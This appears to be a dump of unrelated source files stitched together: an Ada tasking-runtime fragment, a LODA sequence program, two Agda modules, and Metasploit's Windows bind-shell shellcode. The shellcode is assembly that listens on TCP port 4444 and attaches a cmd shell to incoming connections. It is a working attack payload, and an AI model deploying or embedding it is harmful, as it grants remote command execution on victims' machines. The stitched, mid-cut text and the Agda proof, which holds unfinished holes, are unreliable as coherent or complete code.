Ada.Debug.Put ("leave")); end Activate; procedure Activate (T : not null Task_Id) is Error : Activation_Error; begin Activate (T, Error); case Error is when None => null; when Elaboration_Error => raise Program_Error; when Any_Exception => Raise_Exception (Tasking_Error'Identity); end case; end Activate; procedure Move ( From, To : not null Activation_Chain_Access; New_Master : Master_Access) is begin pragma Check (Trace, Ada.Debug.Put ("enter")); -- keep master level of tasks because it's meaningless if From.all /= null then -- change completion lists declare A : Activation_Chain := From.all; begin loop A.Self := To; declare I : Task_Id := A.List; begin while I /= null loop if I.Master_Of_Parent /= null then Remove_From_Completion_List (I); Append_To_Completion_List (New_Master, I); end if; I := I.Next_Of_Activation_Chain; end loop; end; A := A.Merged; exit when A = null; end loop; end; -- merge lists if To.all = null then To.all := From.all; else declare I : Activation_Chain := To.all; begin while I.Merged /= null loop I := I.Merged; end loop; I.Merged := From.all; end; end if; From.all := null; end if; pragma Check (Trace, Ada.Debug.Put ("leave")); end Move; function Parent (T : not null Task_Id) return Task_Id is begin if T.Kind = Environment or else T.Master_Of_Parent = null then return null; else return T.Master_Of_Parent.Parent; end if; end Parent; function Master_Level_Of (T : not null Task_Id) return Master_Level is begin return T.Master_Level; end Master_Level_Of; function Master_Within return Master_Level is T : constant Task_Id := Current_Task_Id; begin if T.Master_Top = null then return T.Master_Level + 1; else return T.Master_Top.Within; end if; end Master_Within; procedure Enter_Master is T : constant Task_Id := Current_Task_Id; -- and register begin pragma Check (Trace, Ada.Debug.Put (Name (T).all & " enter")); declare New_Master : constant Master_Access := new Master_Record'( Previous => T.Master_Top, Parent => T, Within => Master_Level'Max (Master_Within, Library_Task_Level) + 1, List => null, Mutex => <>); -- uninitialized begin Synchronous_Objects.Initialize (New_Master.Mutex); T.Master_Top := New_Master; end; pragma Check (Trace, Ada.Debug.Put (Name (T).all & " leave")); end Enter_Master; procedure Leave_Master is T : constant Task_Id := TLS_Current_Task_Id; pragma Check (Trace, Ada.Debug.Put (Name (T).all & " enter")); M : Master_Access := T.Master_Top; Free_List : Task_Id := null; begin pragma Assert (T.Abort_Handler = null); Synchronous_Objects.Enter (M.Mutex); while M.List /= null loop declare Taken : constant Task_Id := M.List; Free_Task_Id : Task_Id; A_Error : Activation_Error; -- ignored S_Error : Boolean; -- ignored Aborted : Boolean; -- ignored begin Taken.Auto_Detach := False; -- mark inside mutex Synchronous_Objects.Leave (M.Mutex); if Taken.Activation_State = AS_Suspended then pragma Assert (Taken.Activation_Chain /= null); -- the task has not been activated Taken.Activation_Chain.Error := Elaboration_Error; if Taken.Activation_Chain_Living then Activate ( Taken.Activation_Chain.Self, Error => A_Error, Aborted => Aborted); end if; elsif T.Aborted then -- If current task is already aborted, abort a child task. -- C9A007A Native_Tasks.Send_Abort_Signal ( Taken.Handle, Taken.Abort_Event, Error => S_Error); else -- If current task is aboted during waiting a child task, -- abort a waited task quickly. T.Abort_Handler := Abort_Handler_On_Leave_Master'Access; if T.Kind = Sub then -- Normally, T.Abort_Locking = 2. Native_Tasks.Unblock_Abort_Signal; end if; end if; Wait (Taken, Free_Task_Id); if T.Abort_Handler /= null then if T.Kind = Sub then -- In Windows and in this loop, This is only where T.Abort -- will be updated. Native_Tasks.Block_Abort_Signal (T.Abort_Event); end if; T.Abort_Handler := null; end if; if Free_Task_Id /= null then Remove_From_Completion_List (Free_Task_Id); Free_Task_Id.Next_At_Same_Level := Free_List; Free_List := Free_Task_Id; end if; Synchronous_Objects.Enter (M.Mutex); end; end loop; Synchronous_Objects.Leave (M.Mutex); while Free_List /= null loop declare Next : constant Task_Id := Free_List.Next_At_Same_Level; begin Free (Free_List); Free_List := Next; end; end loop; declare Previous : constant Master_Access := M.Previous; begin Free (M); T.Master_Top := Previous; end; pragma Check (Trace, Ada.Debug.Put (Name (T).all & " leave")); end Leave_Master; procedure Leave_All_Masters is T : constant Task_Id := TLS_Current_Task_Id; begin if T.Master_Top /= null then Leave_Master; pragma Assert (T.Master_Top = null); end if; end Leave_All_Masters; function Master_Of_Parent (Level : Master_Level) return Master_Access is Parent : Task_Id := TLS_Current_Task_Id; Result : Master_Access; begin while Parent.Master_Level >= Level loop pragma Assert (Parent.Kind = Sub); pragma Assert (Parent.Master_Of_Parent /= null); pragma Assert (Parent.Master_Of_Parent.Parent /= null); Parent := Parent.Master_Of_Parent.Parent; end loop; Result := Parent.Master_Top; while Result /= null and then Result.Within > Level loop Result := Result.Previous; end loop; if Result = null then -- library-level pragma Assert (Parent = Environment_Task_Record'Access); if Parent.Master_Top = null then Enter_Master; pragma Assert (Parent.Master_Top.Within = Library_Task_Level + 1); Parent.Master_Top.Within := Library_Task_Level; end if; Result := Parent.Master_Top; end if; return Result; end Master_Of_Parent; procedure Cancel_Calls is T : constant Task_Id := TLS_Current_Task_Id; begin if T.Rendezvous /= null then Synchronous_Objects.Cancel ( T.Rendezvous.Calling, Cancel_Node => Cancel_Call_Hook); end if; end Cancel_Calls; procedure Call ( T : not null Task_Id; Item : not null Synchronous_Objects.Queue_Node_Access) is Canceled : Boolean; begin Synchronous_Objects.Add (T.Rendezvous.Calling, Item, Canceled); if Canceled then Raise_Exception (Tasking_Error'Identity); end if; end Call; procedure Uncall ( T : not null Task_Id; Item : not null Synchronous_Objects.Queue_Node_Access; Already_Taken : out Boolean) is Taken : Synchronous_Objects.Queue_Node_Access; begin Synchronous_Objects.Take ( T.Rendezvous.Calling, Taken, QNA_Conv.To_Address (Item), Uncall_Filter'Access); Already_Taken := Taken = null; pragma Assert (Taken = null or else Taken = Item); end Uncall; procedure Accept_Call ( Item : out Synchronous_Objects.Queue_Node_Access; Params : Address; Filter : Synchronous_Objects.Queue_Filter; Aborted : out Boolean) is T : constant Task_Id := TLS_Current_Task_Id; begin Synchronous_Objects.Abortable.Take ( T.Rendezvous.Calling, Item, Params, Filter, Aborted); end Accept_Call; function Call_Count ( T : not null Task_Id; Params : Address; Filter : Synchronous_Objects.Queue_Filter) return Natural is begin if not Callable (T) or else T.Rendezvous = null then return 0; else return Synchronous_Objects.Count ( T.Rendezvous.Calling, Params, Filter); end if; end Call_Count; function Callable (T : not null Task_Id) return Boolean is begin return not Terminated (T) and then T.Kind = Sub and then not T.Aborted and then ( T.Rendezvous = null or else not Synchronous_Objects.Canceled (T.Rendezvous.Calling)); end Callable; -- attribute procedure Allocate (Index : in out Attribute_Index) is begin Register; -- Ada.Task_Attributes can be instantiated before tasks Synchronous_Objects.Enter (Attribute_Indexes_Lock); -- initialization because Suppress_Initialization Index.List := null; Synchronous_Objects.Initialize (Index.Mutex); -- search unused index for I in 0 .. Attribute_Indexes_Length - 1 loop if Attribute_Indexes (I) /= not 0 then for J in Integer range 0 .. Standard'Word_Size - 1 loop if (Attribute_Indexes (I) and (2 ** J)) = 0 then Attribute_Indexes (I) := Attribute_Indexes (I) or (2 ** J); Index.Index := I * Standard'Word_Size + J; goto Found; end if; end loop; end if; end loop; -- not found Index.Index := Standard'Word_Size * Attribute_Indexes_Length; declare P : constant Natural := Attribute_Indexes_Length; B : constant Natural := 0; begin Attribute_Index_Sets.Expand ( Attribute_Indexes, Attribute_Indexes_Length, P + 1, 0); Attribute_Indexes (P) := Attribute_Indexes (P) or (2 ** B); end; <<Found>> Synchronous_Objects.Leave (Attribute_Indexes_Lock); end Allocate; procedure Free (Index : in out Attribute_Index) is begin if Registered_State /= Unregistered then Synchronous_Objects.Enter (Attribute_Indexes_Lock); end if; while Index.List /= null loop declare Next : constant Task_Id := Index.List.Attributes (Index.Index).Next; begin declare A : Attribute renames Index.List.Attributes (Index.Index); begin A.Finalize (A.Item); A.Index := null; end; Index.List := Next; end; end loop; if Registered_State /= Unregistered then declare P : constant Natural := Index.Index / Standard'Word_Size; B : constant Natural := Index.Index mod Standard'Word_Size; begin Attribute_Indexes (P) := Attribute_Indexes (P) and not (2 ** B); end; end if; Synchronous_Objects.Finalize (Index.Mutex); if Registered_State /= Unregistered then Synchronous_Objects.Leave (Attribute_Indexes_Lock); end if; end Free; procedure Query ( T : not null Task_Id; Index : aliased in out Attribute_Index; Process : not null access procedure (Item : Address)) is Value : Address; begin Synchronous_Objects.Enter (Index.Mutex); if T.Attributes_Length > Index.Index and then T.Attributes (Index.Index).Index = Index'Unchecked_Access then Value := T.Attributes (Index.Index).Item; else Value := Null_Address; end if; Process (Value); Synchronous_Objects.Leave (Index.Mutex); end Query; procedure Set ( T : not null Task_Id; Index : aliased in out Attribute_Index; New_Item : not null access function return Address; Finalize : not null access procedure (Item : Address)) is type F is access procedure (Item : Address); function To_Finalize_Handler is new Ada.Unchecked_Conversion (F, Finalize_Handler); begin Synchronous_Objects.Enter (Index.Mutex); Attribute_Vectors.Expand ( T.Attributes, T.Attributes_Length, Index.Index + 1, Attribute'(Index => null, others => <>)); declare A : Attribute renames T.Attributes (Index.Index); begin if A.Index = Index'Unchecked_Access then A.Finalize (A.Item); end if; A.Item := New_Item.all; A.Finalize := To_Finalize_Handler (Finalize); if A.Index /= Index'Unchecked_Access then A.Index := Index'Unchecked_Access; A.Previous := null; A.Next := Index.List; if Index.List /= null then Index.List.Attributes (Index.Index).Previous := T; end if; Index.List := T; end if; end; Synchronous_Objects.Leave (Index.Mutex); end Set; procedure Reference ( T : not null Task_Id; Index : aliased in out Attribute_Index; New_Item : not null access function return Address; Finalize : not null access procedure (Item : Address); Result : out Address) is type F is access procedure (Item : Address); function To_Finalize_Handler is new Ada.Unchecked_Conversion (F, Finalize_Handler); begin Synchronous_Objects.Enter (Index.Mutex); Attribute_Vectors.Expand ( T.Attributes, T.Attributes_Length, Index.Index + 1, Attribute'(Index => null, others => <>)); declare A : Attribute renames T.Attributes (Index.Index); begin if A.Index /= Index'Unchecked_Access then A.Item := New_Item.all; A.Finalize := To_Finalize_Handler (Finalize); if A.Index /= Index'Unchecked_Access then A.Index := Index'Unchecked_Access; A.Previous := null; A.Next := Index.List; if Index.List /= null then Index.List.Attributes (Index.Index).Previous := T; end if; Index.List := T; end if; end if; Result := A.Item; end; Synchronous_Objects.Leave (Index.Mutex); end Reference; procedure Clear ( T : not null Task_Id; Index : aliased in out Attribute_Index) is begin Synchronous_Objects.Enter (Index.Mutex); if T.Attributes_Length > Index.Index and then T.Attributes (Index.Index).Index = Index'Unchecked_Access then declare A : Attribute renames T.Attributes (Index.Index); begin A.Finalize (A.Item); if A.Previous /= null then A.Previous.Attributes (Index.Index).Next := A.Next; else A.Index.List := A.Next; end if; if A.Next /= null then A.Next.Attributes (Index.Index).Previous := A.Previous; end if; A.Index := null; end; end if; Synchronous_Objects.Leave (Index.Mutex); end Clear; -- termination handler procedure Set_Dependents_Fallback_Handler ( T : Task_Id; Handler : Termination_Handler) is begin T.Dependents_Fallback_Handler := Handler; end Set_Dependents_Fallback_Handler; function Dependents_Fallback_Handler (T : Task_Id) return Termination_Handler is begin return T.Dependents_Fallback_Handler; end Dependents_Fallback_Handler; procedure Set_Specific_Handler ( T : Task_Id; Handler : Termination_Handler) is begin T.Specific_Handler := Handler; end Set_Specific_Handler; function Specific_Handler (T : Task_Id) return Termination_Handler is begin return T.Specific_Handler; end Specific_Handler; end System.Tasks;
oeis/260/A260375.asm
neoneye/loda-programs
11
169156
; A260375: Numbers k such that A260374(k) is a perfect square. ; Submitted by <NAME>(w4) ; 0,1,2,4,5,6,7,8,10,11,14,15,16 mov $2,$0 seq $0,111292 ; Numbers n such that 6*n^2 + 6*n + 1 is prime. add $0,$2 div $0,2
Numeral/Natural/Oper/Divisibility.agda
Lolirofle/stuff-in-agda
6
13407
module Numeral.Natural.Oper.Divisibility where import Lvl open import Data open import Data.Boolean open import Numeral.Natural open import Numeral.Natural.Oper.Comparisons open import Numeral.Natural.Oper.Modulo -- Divisibility check _∣?_ : ℕ → ℕ → Bool 𝟎 ∣? _ = 𝐹 𝐒(y) ∣? x = zero?(x mod 𝐒(y)) -- Divisibility check _∣₀?_ : ℕ → ℕ → Bool 𝟎 ∣₀? 𝟎 = 𝑇 𝟎 ∣₀? 𝐒(_) = 𝐹 𝐒(y) ∣₀? x = zero?(x mod 𝐒(y)) {- open import Numeral.Natural.Oper open import Numeral.Natural.UnclosedOper open import Data.Option as Option using (Option) {-# TERMINATING #-} _∣?_ : ℕ → ℕ → Bool _ ∣? 𝟎 = 𝑇 𝟎 ∣? 𝐒(_) = 𝐹 𝐒(x) ∣? 𝐒(y) with (x −? y) ... | Option.Some(xy) = xy ∣? 𝐒(y) ... | Option.None = 𝐹 -}
external/source/shellcode/windows/single_shell_bind_tcp.asm
OsmanDere/metasploit-framework
26,932
90000
; ; Metasploit Framework ; http://www.metasploit.com ; ; Source for shell_bind_tcp (single) ; ; Authors: vlad902 <<EMAIL>> ; Size : 317 ; cld push byte -0x15 dec ebp call 0x2 pusha mov ebp,[esp+0x24] mov eax,[ebp+0x3c] mov edi,[ebp+eax+0x78] add edi,ebp mov ecx,[edi+0x18] mov ebx,[edi+0x20] add ebx,ebp dec ecx mov esi,[ebx+ecx*4] add esi,ebp xor eax,eax cdq lodsb test al,al jz 0x34 ror edx,0xd add edx,eax jmp short 0x28 cmp edx,[esp+0x28] jnz 0x1f mov ebx,[edi+0x24] add ebx,ebp mov cx,[ebx+ecx*2] mov ebx,[edi+0x1c] add ebx,ebp add ebp,[ebx+ecx*4] mov [esp+0x1c],ebp popa ret xor ebx,ebx mov eax,[fs:ebx+0x30] mov eax,[eax+0xc] mov esi,[eax+0x1c] lodsd mov eax,[eax+0x8] pop esi push dword 0xec0e4e8e push eax call esi push bx push word 0x3233 push dword 0x5f327377 push esp call eax push dword 0x3bfcedcb push eax call esi pop edi mov ebp,esp sub bp,0x208 push ebp push byte +0x2 call eax push dword 0xadf509d9 push edi call esi push ebx push ebx push ebx push ebx push ebx inc ebx push ebx inc ebx push ebx call eax push word 0x5c11 push bx mov ecx,esp xchg eax,ebp push dword 0xc7701aa4 push edi call esi push byte +0x10 push ecx push ebp call eax push dword 0xe92eada4 push edi call esi push ebx push ebp call eax push dword 0x498649e5 push edi call esi push eax push esp push esp push ebp call eax xchg eax,ebx push dword 0x79c679e7 push edi call esi push ebp call eax o16 push byte +0x64 push word 0x6d63 mov ebp,esp push byte +0x50 pop ecx sub esp,ecx mov edi,esp push byte +0x44 mov edx,esp xor eax,eax rep stosb inc byte [edx+0x2d] inc byte [edx+0x2c] xchg eax,ebx lea edi,[edx+0x38] stosd stosd stosd push dword 0x16b3fe72 push dword [ebp+0x44] call esi pop ebx push edi push edx push ecx push ecx push ecx push byte +0x1 push ecx push ecx push ebp push ecx call eax push dword 0xce05d9ad push ebx call esi push byte -0x1 push dword [edi] call eax mov edx,[edi-0x4] add esp,byte +0x64 call esi push edx call eax push dword 0x5f048af0 push ebx call esi call eax
src/non-regular.agda
shinji-kono/automaton-in-agda
0
803
module non-regular where open import Data.Nat open import Data.Empty open import Data.List open import Data.Maybe hiding ( map ) open import Relation.Binary.PropositionalEquality hiding ( [_] ) open import logic open import automaton open import automaton-ex open import finiteSetUtil open import finiteSet open import Relation.Nullary open import regular-language open import nat open FiniteSet inputnn : List In2 → Maybe (List In2) inputnn [] = just [] inputnn (i1 ∷ t) = just (i1 ∷ t) inputnn (i0 ∷ t) with inputnn t ... | nothing = nothing ... | just [] = nothing ... | just (i0 ∷ t1) = nothing -- can't happen ... | just (i1 ∷ t1) = just t1 -- remove i1 from later part inputnn1 : List In2 → Bool inputnn1 s with inputnn s ... | nothing = false ... | just [] = true ... | just _ = false t1 = inputnn1 ( i0 ∷ i1 ∷ [] ) t2 = inputnn1 ( i0 ∷ i0 ∷ i1 ∷ i1 ∷ [] ) t3 = inputnn1 ( i0 ∷ i0 ∷ i0 ∷ i1 ∷ i1 ∷ [] ) inputnn0 : ( n : ℕ ) → { Σ : Set } → ( x y : Σ ) → List Σ → List Σ inputnn0 zero {_} _ _ s = s inputnn0 (suc n) x y s = x ∷ ( inputnn0 n x y ( y ∷ s ) ) t4 : inputnn1 ( inputnn0 5 i0 i1 [] ) ≡ true t4 = refl t5 : ( n : ℕ ) → Set t5 n = inputnn1 ( inputnn0 n i0 i1 [] ) ≡ true -- -- if there is an automaton with n states , which accespt inputnn1, it has a trasition function. -- The function is determinted by inputs, -- open RegularLanguage open Automaton open _∧_ data Trace { Q : Set } { Σ : Set } (fa : Automaton Q Σ ) : (is : List Σ) → Q → Set where tend : {q : Q} → aend fa q ≡ true → Trace fa [] q tnext : (q : Q) → {i : Σ} { is : List Σ} → Trace fa is (δ fa q i) → Trace fa (i ∷ is) q tr-len : { Q : Set } { Σ : Set } → (fa : Automaton Q Σ ) → (is : List Σ) → (q : Q) → Trace fa is q → suc (length is) ≡ length (trace fa q is ) tr-len {Q} {Σ} fa .[] q (tend x) = refl tr-len {Q} {Σ} fa (i ∷ is) q (tnext .q t) = cong suc (tr-len {Q} {Σ} fa is (δ fa q i) t) tr-accept→ : { Q : Set } { Σ : Set } → (fa : Automaton Q Σ ) → (is : List Σ) → (q : Q) → Trace fa is q → accept fa q is ≡ true tr-accept→ {Q} {Σ} fa [] q (tend x) = x tr-accept→ {Q} {Σ} fa (i ∷ is) q (tnext _ tr) = tr-accept→ {Q} {Σ} fa is (δ fa q i) tr tr-accept← : { Q : Set } { Σ : Set } → (fa : Automaton Q Σ ) → (is : List Σ) → (q : Q) → accept fa q is ≡ true → Trace fa is q tr-accept← {Q} {Σ} fa [] q ac = tend ac tr-accept← {Q} {Σ} fa (x ∷ []) q ac = tnext _ (tend ac ) tr-accept← {Q} {Σ} fa (x ∷ x1 ∷ is) q ac = tnext _ (tr-accept← fa (x1 ∷ is) (δ fa q x) ac) tr→qs : { Q : Set } { Σ : Set } → (fa : Automaton Q Σ ) → (is : List Σ) → (q : Q) → Trace fa is q → List Q tr→qs fa [] q (tend x) = [] tr→qs fa (i ∷ is) q (tnext q tr) = q ∷ tr→qs fa is (δ fa q i) tr tr→qs=is : { Q : Set } { Σ : Set } → (fa : Automaton Q Σ ) → (is : List Σ) → (q : Q) → (tr : Trace fa is q ) → length is ≡ length (tr→qs fa is q tr) tr→qs=is fa .[] q (tend x) = refl tr→qs=is fa (i ∷ is) q (tnext .q tr) = cong suc (tr→qs=is fa is (δ fa q i) tr) open Data.Maybe open import Relation.Binary.HeterogeneousEquality as HE using (_≅_ ) open import Relation.Binary.Definitions open import Data.Unit using (⊤ ; tt) open import Data.Nat.Properties data QDSEQ { Q : Set } { Σ : Set } { fa : Automaton Q Σ} ( finq : FiniteSet Q) (qd : Q) (z1 : List Σ) : {q : Q} {y2 : List Σ} → Trace fa (y2 ++ z1) q → Set where qd-nil : (q : Q) → (tr : Trace fa z1 q) → equal? finq qd q ≡ true → QDSEQ finq qd z1 tr qd-next : {i : Σ} (y2 : List Σ) → (q : Q) → (tr : Trace fa (y2 ++ z1) (δ fa q i)) → equal? finq qd q ≡ false → QDSEQ finq qd z1 tr → QDSEQ finq qd z1 (tnext q tr) record TA1 { Q : Set } { Σ : Set } (fa : Automaton Q Σ ) (finq : FiniteSet Q) ( q qd : Q ) (is : List Σ) : Set where field y z : List Σ yz=is : y ++ z ≡ is trace-z : Trace fa z qd trace-yz : Trace fa (y ++ z) q q=qd : QDSEQ finq qd z trace-yz -- -- using accept ≡ true may simplify the pumping-lemma -- QDSEQ is too complex, should we generate (lengty y ≡ 0 → equal ) ∧ ... -- -- like this ... -- record TA2 { Q : Set } { Σ : Set } (fa : Automaton Q Σ ) (finq : FiniteSet Q) ( q qd : Q ) (is : List Σ) : Set where -- field -- y z : List Σ -- yz=is : y ++ z ≡ is -- trace-z : accpet fa z qd ≡ true -- trace-yz : accept fa (y ++ z) q ≡ true -- q=qd : last (tr→qs fa q trace-yz) ≡ just qd -- ¬q=qd : non-last (tr→qs fa q trace-yz) ≡ just qd record TA { Q : Set } { Σ : Set } (fa : Automaton Q Σ ) ( q : Q ) (is : List Σ) : Set where field x y z : List Σ xyz=is : x ++ y ++ z ≡ is trace-xyz : Trace fa (x ++ y ++ z) q trace-xyyz : Trace fa (x ++ y ++ y ++ z) q non-nil-y : ¬ (y ≡ []) pumping-lemma : { Q : Set } { Σ : Set } (fa : Automaton Q Σ ) (finq : FiniteSet Q) (q qd : Q) (is : List Σ) → (tr : Trace fa is q ) → dup-in-list finq qd (tr→qs fa is q tr) ≡ true → TA fa q is pumping-lemma {Q} {Σ} fa finq q qd is tr dup = tra-phase1 q is tr dup where open TA tra-phase2 : (q : Q) → (is : List Σ) → (tr : Trace fa is q ) → phase2 finq qd (tr→qs fa is q tr) ≡ true → TA1 fa finq q qd is tra-phase2 q (i ∷ is) (tnext q tr) p with equal? finq qd q | inspect ( equal? finq qd) q ... | true | record { eq = eq } = record { y = [] ; z = i ∷ is ; yz=is = refl ; q=qd = qd-nil q (tnext q tr) eq ; trace-z = subst (λ k → Trace fa (i ∷ is) k ) (sym (equal→refl finq eq)) (tnext q tr) ; trace-yz = tnext q tr } ... | false | record { eq = ne } = record { y = i ∷ TA1.y ta ; z = TA1.z ta ; yz=is = cong (i ∷_ ) (TA1.yz=is ta ) ; q=qd = tra-08 ; trace-z = TA1.trace-z ta ; trace-yz = tnext q ( TA1.trace-yz ta ) } where ta : TA1 fa finq (δ fa q i) qd is ta = tra-phase2 (δ fa q i) is tr p tra-07 : Trace fa (TA1.y ta ++ TA1.z ta) (δ fa q i) tra-07 = subst (λ k → Trace fa k (δ fa q i)) (sym (TA1.yz=is ta)) tr tra-08 : QDSEQ finq qd (TA1.z ta) (tnext q (TA1.trace-yz ta)) tra-08 = qd-next (TA1.y ta) q (TA1.trace-yz (tra-phase2 (δ fa q i) is tr p)) ne (TA1.q=qd ta) tra-phase1 : (q : Q) → (is : List Σ) → (tr : Trace fa is q ) → phase1 finq qd (tr→qs fa is q tr) ≡ true → TA fa q is tra-phase1 q (i ∷ is) (tnext q tr) p with equal? finq qd q | inspect (equal? finq qd) q ... | true | record { eq = eq } = record { x = [] ; y = i ∷ TA1.y ta ; z = TA1.z ta ; xyz=is = cong (i ∷_ ) (TA1.yz=is ta) ; non-nil-y = λ () ; trace-xyz = tnext q (TA1.trace-yz ta) ; trace-xyyz = tnext q tra-05 } where ta : TA1 fa finq (δ fa q i ) qd is ta = tra-phase2 (δ fa q i ) is tr p y1 = TA1.y ta z1 = TA1.z ta tryz0 : Trace fa (y1 ++ z1) (δ fa qd i) tryz0 = subst₂ (λ j k → Trace fa k (δ fa j i) ) (sym (equal→refl finq eq)) (sym (TA1.yz=is ta)) tr tryz : Trace fa (i ∷ y1 ++ z1) qd tryz = tnext qd tryz0 -- create Trace (y ++ y ++ z) tra-04 : (y2 : List Σ) → (q : Q) → (tr : Trace fa (y2 ++ z1) q) → QDSEQ finq qd z1 {q} {y2} tr → Trace fa (y2 ++ (i ∷ y1) ++ z1) q tra-04 [] q tr (qd-nil q _ x₁) with equal? finq qd q | inspect (equal? finq qd) q ... | true | record { eq = eq } = subst (λ k → Trace fa (i ∷ y1 ++ z1) k) (equal→refl finq eq) tryz ... | false | record { eq = ne } = ⊥-elim ( ¬-bool refl x₁ ) tra-04 (y0 ∷ y2) q (tnext q tr) (qd-next _ _ _ x₁ qdseq) with equal? finq qd q | inspect (equal? finq qd) q ... | true | record { eq = eq } = ⊥-elim ( ¬-bool x₁ refl ) ... | false | record { eq = ne } = tnext q (tra-04 y2 (δ fa q y0) tr qdseq ) tra-05 : Trace fa (TA1.y ta ++ (i ∷ TA1.y ta) ++ TA1.z ta) (δ fa q i) tra-05 with equal→refl finq eq ... | refl = tra-04 y1 (δ fa qd i) (TA1.trace-yz ta) (TA1.q=qd ta) ... | false | _ = record { x = i ∷ x ta ; y = y ta ; z = z ta ; xyz=is = cong (i ∷_ ) (xyz=is ta) ; non-nil-y = non-nil-y ta ; trace-xyz = tnext q (trace-xyz ta ) ; trace-xyyz = tnext q (trace-xyyz ta )} where ta : TA fa (δ fa q i ) is ta = tra-phase1 (δ fa q i ) is tr p open RegularLanguage open import Data.Nat.Properties open import nat lemmaNN : (r : RegularLanguage In2 ) → ¬ ( (s : List In2) → isRegular inputnn1 s r ) lemmaNN r Rg = tann {TA.x TAnn} (TA.non-nil-y TAnn ) {!!} (tr-accept→ (automaton r) _ (astart r) (TA.trace-xyz TAnn) ) (tr-accept→ (automaton r) _ (astart r) (TA.trace-xyyz TAnn) ) where n : ℕ n = suc (finite (afin r)) nn = inputnn0 n i0 i1 [] nn01 : (i : ℕ) → inputnn1 ( inputnn0 i i0 i1 [] ) ≡ true nn01 zero = refl nn01 (suc i) = {!!} where nn02 : (i : ℕ) → ( x : List In2) → inputnn ( inputnn0 i i0 i1 x ) ≡ inputnn x nn02 zero _ = refl nn02 (suc i) x with inputnn (inputnn0 (suc i) i0 i1 x) ... | nothing = {!!} ... | just [] = {!!} ... | just (i0 ∷ t1) = {!!} ... | just (i1 ∷ t1) = {!!} nn03 : accept (automaton r) (astart r) nn ≡ true nn03 = subst (λ k → k ≡ true ) (Rg nn ) (nn01 n) nn09 : (n m : ℕ) → n ≤ n + m nn09 zero m = z≤n nn09 (suc n) m = s≤s (nn09 n m) nn04 : Trace (automaton r) nn (astart r) nn04 = tr-accept← (automaton r) nn (astart r) nn03 nntrace = tr→qs (automaton r) nn (astart r) nn04 nn07 : (n : ℕ) → length (inputnn0 n i0 i1 []) ≡ n + n nn07 n = subst (λ k → length (inputnn0 n i0 i1 []) ≡ k) (+-comm (n + n) _ ) (nn08 n [] )where nn08 : (n : ℕ) → (s : List In2) → length (inputnn0 n i0 i1 s) ≡ n + n + length s nn08 zero s = refl nn08 (suc n) s = begin length (inputnn0 (suc n) i0 i1 s) ≡⟨ refl ⟩ suc (length (inputnn0 n i0 i1 (i1 ∷ s))) ≡⟨ cong suc (nn08 n (i1 ∷ s)) ⟩ suc (n + n + suc (length s)) ≡⟨ +-assoc (suc n) n _ ⟩ suc n + (n + suc (length s)) ≡⟨ cong (λ k → suc n + k) (sym (+-assoc n _ _)) ⟩ suc n + ((n + 1) + length s) ≡⟨ cong (λ k → suc n + (k + length s)) (+-comm n _) ⟩ suc n + (suc n + length s) ≡⟨ sym (+-assoc (suc n) _ _) ⟩ suc n + suc n + length s ∎ where open ≡-Reasoning nn05 : length nntrace > finite (afin r) nn05 = begin suc (finite (afin r)) ≤⟨ nn09 _ _ ⟩ n + n ≡⟨ sym (nn07 n) ⟩ length (inputnn0 n i0 i1 []) ≡⟨ tr→qs=is (automaton r) (inputnn0 n i0 i1 []) (astart r) nn04 ⟩ length nntrace ∎ where open ≤-Reasoning nn06 : Dup-in-list ( afin r) (tr→qs (automaton r) nn (astart r) nn04) nn06 = dup-in-list>n (afin r) nntrace nn05 TAnn : TA (automaton r) (astart r) nn TAnn = pumping-lemma (automaton r) (afin r) (astart r) (Dup-in-list.dup nn06) nn nn04 (Dup-in-list.is-dup nn06) count : In2 → List In2 → ℕ count _ [] = 0 count i0 (i0 ∷ s) = suc (count i0 s) count i1 (i1 ∷ s) = suc (count i1 s) count x (_ ∷ s) = count x s nn11 : {x : In2} → (s t : List In2) → count x (s ++ t) ≡ count x s + count x t nn11 {x} [] t = refl nn11 {i0} (i0 ∷ s) t = cong suc ( nn11 s t ) nn11 {i0} (i1 ∷ s) t = nn11 s t nn11 {i1} (i0 ∷ s) t = nn11 s t nn11 {i1} (i1 ∷ s) t = cong suc ( nn11 s t ) nn10 : (s : List In2) → accept (automaton r) (astart r) s ≡ true → count i0 s ≡ count i1 s nn10 s p = nn101 s (subst (λ k → k ≡ true) (sym (Rg s)) p ) where nn101 : (s : List In2) → inputnn1 s ≡ true → count i0 s ≡ count i1 s nn101 [] p = refl nn101 (x ∷ s) p = {!!} i1-i0? : List In2 → Bool i1-i0? [] = false i1-i0? (i1 ∷ []) = false i1-i0? (i0 ∷ []) = false i1-i0? (i1 ∷ i0 ∷ s) = true i1-i0? (_ ∷ s0 ∷ s1) = i1-i0? (s0 ∷ s1) nn20 : {s s0 s1 : List In2} → accept (automaton r) (astart r) s ≡ true → ¬ ( s ≡ s0 ++ i1 ∷ i0 ∷ s1 ) nn20 {s} {s0} {s1} p np = {!!} mono-color : List In2 → Bool mono-color [] = true mono-color (i0 ∷ s) = mono-color0 s where mono-color0 : List In2 → Bool mono-color0 [] = true mono-color0 (i1 ∷ s) = false mono-color0 (i0 ∷ s) = mono-color0 s mono-color (i1 ∷ s) = mono-color1 s where mono-color1 : List In2 → Bool mono-color1 [] = true mono-color1 (i0 ∷ s) = false mono-color1 (i1 ∷ s) = mono-color1 s record Is10 (s : List In2) : Set where field s0 s1 : List In2 is-10 : s ≡ s0 ++ i1 ∷ i0 ∷ s1 not-mono : { s : List In2 } → ¬ (mono-color s ≡ true) → Is10 (s ++ s) not-mono = {!!} mono-count : { s : List In2 } → mono-color s ≡ true → (length s ≡ count i0 s) ∨ ( length s ≡ count i1 s) mono-count = {!!} tann : {x y z : List In2} → ¬ y ≡ [] → x ++ y ++ z ≡ nn → accept (automaton r) (astart r) (x ++ y ++ z) ≡ true → ¬ (accept (automaton r) (astart r) (x ++ y ++ y ++ z) ≡ true ) tann {x} {y} {z} ny eq axyz axyyz with mono-color y ... | true = {!!} ... | false = {!!}
README.agda
nad/dependent-lenses
3
12490
